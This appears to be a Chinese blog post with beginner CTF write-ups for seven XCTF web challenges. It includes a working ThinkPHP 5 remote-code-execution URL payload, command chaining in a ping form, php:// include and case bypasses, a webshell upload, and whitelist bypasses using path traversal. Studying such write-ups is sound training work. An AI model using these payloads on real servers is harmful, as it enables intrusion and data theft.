攻防世界题目练习——Web引导模式（一）
题目目录
-
- 1. command_execution
- 2.xff_referer
- 3.simple_js
- 4.php_rce
- 5.Web_php_include
- 6.upload1
- 7. warmup
难度1全部写过了，这个系列里没有
指路：
攻防世界题目练习——Web难度1（一）
攻防世界题目练习——Web难度1（二）
1. command_execution
题目：
小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的，你知道为什么吗。
题目名称是命令执行，想到了命令拼接，但是忘记怎么拼接了，于是查了一下资料：
攻防世界web刷题 新手区 command_execution 详细解！！！超详细
【web安全】——命令执行漏洞（RCE）详解
可以看到，命令拼接符有如下几种：
Windows下：
& A&B 无论A是false还是true，B都执行，即互不影响
&& A&&B 具有短路效果，A是false，B就不执行，有短路效果
| A|B 表示A命令语句的输出，作为B命令语句的输入执行。当A为false的时候将不会执行
|| A||B 表示A命令语句执行失败，然后才执行B命令语句
Linux下：
& 使命令在后台运行。只要在命令后面跟上一个空格和 ‘&’，可以一口气 在后台运行多个命令
&& 同Windows下
|| 同Windows下
; 分号，可以进行多条命令的无关联执行，每一条执行结果互不影响
() 想执行几个命令，则需要用命令分隔符分号隔开每个命令，并使用 圆括号()把所有命令组合起来。
于是我们尝试用;连接两条命令：
尝试用find命令查看带有"flag"名称的文件：
Linux下查找文件（find、grep命令）
find / -name “flag*”
/ 表示在根目录下
*是通配符
然后再用cat命令查看
2.xff_referer
题目：
X老师告诉小宁其实xff和referer是可以伪造的。
参考博客：
CTF/网络安全|攻防世界 xff_referer 解题详析
xff-referer伪造ip地址和域名
姑且理解为：
X-Forwarded-For展示的是访问来源的最终客户端的ip地址
Referer是从某个A网站显示的B网站的链接来访问B网站时，访问B网站的请求包里的Referer就是A网站的域名。
3.simple_js
访问网页就弹窗，不是很清楚从何下手，看到题目名称js，想到javascript，就F12想看一下源码，居然真的能看到有用的源码：
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
//string.split(separator,limit)，字符串或正则表达式，从该参数指定的地方分割 string Object。
//从函数体外的最后两行代码可以看到，函数dechiffre的参数pass_enc就是要输入的密码，以','分隔后赋值给了变量tab
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
//j是我们输入的密码的长度
//k的初始值k=j
n = tab2.length;
//n是变量pass的长度，数了一下，是18
for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
//在0<=i<=5之间，将tab2[i]的值存入p中
//没看懂o=tab[i-l]有什么用
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
//k=j=n，将n赋值给了j
//5
p += String.fromCharCode(tab2[17]);
//tab2[17]=65
pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
//自始至终，dechiffre()函数的返回值只会是变量pass的初始值
h = window.prompt('Enter password');
alert( dechiffre(h) );
alert()函数会用一个弹窗显示出函数的参数表示的信息。
参考博客：
JavaScript split() 方法
JavaScript的三种弹出提示框(alert、confirm、prompt)
随便输入错误的密码，看到弹窗如下：
源码中的变量pass应该就是这一串字符，根据上面的分析，应该无论输入什么都会输出上面这个弹框的提示。
唯一可能存在flag的就是这一串了：
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
随便print一下进行ascii码转换，再将获得的字符作为十进制ascii码再次转换：
参考博客：
[CTF/网络安全] 攻防世界 simple_js 解题详析
4.php_rce
对不起，我浅薄的网安知识让我以为php_rce是指php源码，看了别人的解析才知道是一种漏洞的名称TAT
放一篇参考博客在这里：
[CTF/网络安全] 攻防世界 php_rce 解题详析
PHP RCE 指的是通过远程代码执行漏洞（Remote Code Execution）来攻击 PHP 程序的一种方式。
看了博客才知道，原来是利用ThinkPHP V5的已知漏洞payload的吗？！
（原来是用这种方式解决的吗.jpg）
博客里尝试v5.0.20版本的漏洞payload是可以用的，尝试如下：
URL + /?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd命令
ls
find / -name "*flag*"
cat /flag
5.Web_php_include
打开网址后看到显示源码如下：
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
可以看到，strstr函数会检测参数 $page 中是否包含字符串"php://“，若包含，则用空字符串”“替换掉 $page 中的"php://”。
因此需要绕过strstr函数的检测，同时，我们还需要可执行命令来查找flag文件，在php伪协议中，可以用php://input 在post的请求体中上传可执行命令。
查找资料后发，strstr函数对大小写十分敏感，因此考虑大小写绕过。
可以看到存在文件 fl4gisisish3r3.php(flagisisishere)，于是我们查看该文件：
更多方式参考博客：
XCTF-攻防世界CTF平台-Web类——4、Web_php_include（php中strstr()函数绕过、数据流协议）
[CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议) - 秋说 - 博客园
6.upload1
查看网页源码，可以看到对上传文件的条件检测：
如图，check()函数会将/^.+\./替换为空字符串''，并会检测名称是否包含jpg或png。
这题真的比我想得简单多了，居然最普通的一句话木马文件上传就可以，一句话木马：
然后就是BurpSuite修改文件后缀，把jpg/png修改为php
没有很多过滤，直接上传成功，还直接显示了上传文件的路径，感觉我前面看源码想复杂了，不知道那个replace函数的替换起到了什么作用：
（又去搜了搜别人的解析思考了一下，这个replace应该并不是针对文件后缀的过滤吧，可能只是为了便于数据处理而进行的替换，并不是对上传的文件名的限制）
真正的检验应该只有后面判断是否为jpg/png文件，而且这个属于前端校验，就是只在前端上传页面进行检测，就算检测不通过文件也会被存储，只是会在前端将按钮灰掉不让上传，因此也可以通过修改前端代码的方式来取消文件上传后缀的限制。
接下来用蚁剑连接找文件:
还是对这些文件存放的位置不够熟悉，只知道很多在根目录下，还是看了博客才知道很多也经常放在www目录下。
参考博客：
XCTF-攻防世界CTF平台-Web类——11、upload1（文件上传、前端校验）
7. warmup
打开网址一直转圈，于是用BurpSuite抓包查看response，如下：
看到了右边的响应中出现了一个 source.php 文件名，于是又用御剑扫描了一下目录：
查看了source.php，没看到和flag相关的信息，又查看hint.php，发现提示：
回过头来再仔细分析source.php的内容，如下：
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//设置了一个白名单，只允许访问source.php和hint.php两个文件，下面看一下做了哪些检验
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//第1次检验
if (in_array($page, $whitelist)) {
return true;
}
//第2次检验
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//mb_substr(str,start,length)函数从str的start位置开始返回length长度的字符串
//mb_strpos(haystack,needle,offset)函数返回 string 的 haystack 中 needle 首次出现位置的数值，offset是搜索位置的偏移，没有提供的话则默认为0。
//故，该函数的含义是：
//返回$page参数中直到第一次出现?之前的字符串（因为是从0开始数）作为$_page
if (in_array($_page, $whitelist)) {
return true;
}
//然后检测$_page是否在白名单中
//第3次检验
//如果不在，则：
$_page = urldecode($page);
//将$page进行url解码后再进行上述判断
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
//对$_page进行一次截断后再判断白名单
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
![](\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\")
";
}
?>
参考博客：
PHP mb_substr() 函数 | 菜鸟教程
PHP: mb_strpos - Manual
在上面的源码中，可以看到一共进行了3次检验：
第1次是直接将整个路径进行白名单匹配；
第2次是将?前的内容进行匹配；
第3次是进行url解码后再匹配；
总的来说就是，只要我们构造的file参数的内容能够满足这3次检验中的一次，并且要访问到文件ffffllllaaaagggg。
我们并不知道ffffllllaaaagggg的准确的路径，需要通过足够多的…/构造的相对路径来访问这个文件。
其实并不是很清楚具体原理，这个又好像属于猜测路径。
如果要构造满足第3次检验的url，则需要对?进行两次url编码，因为路径在通过url上传时浏览器本身就会自己进行一次url解码，而第3次检验又需要进行一次url解码，因此需要编码两次。
参考博客：
攻防世界-web高手进阶篇-warmup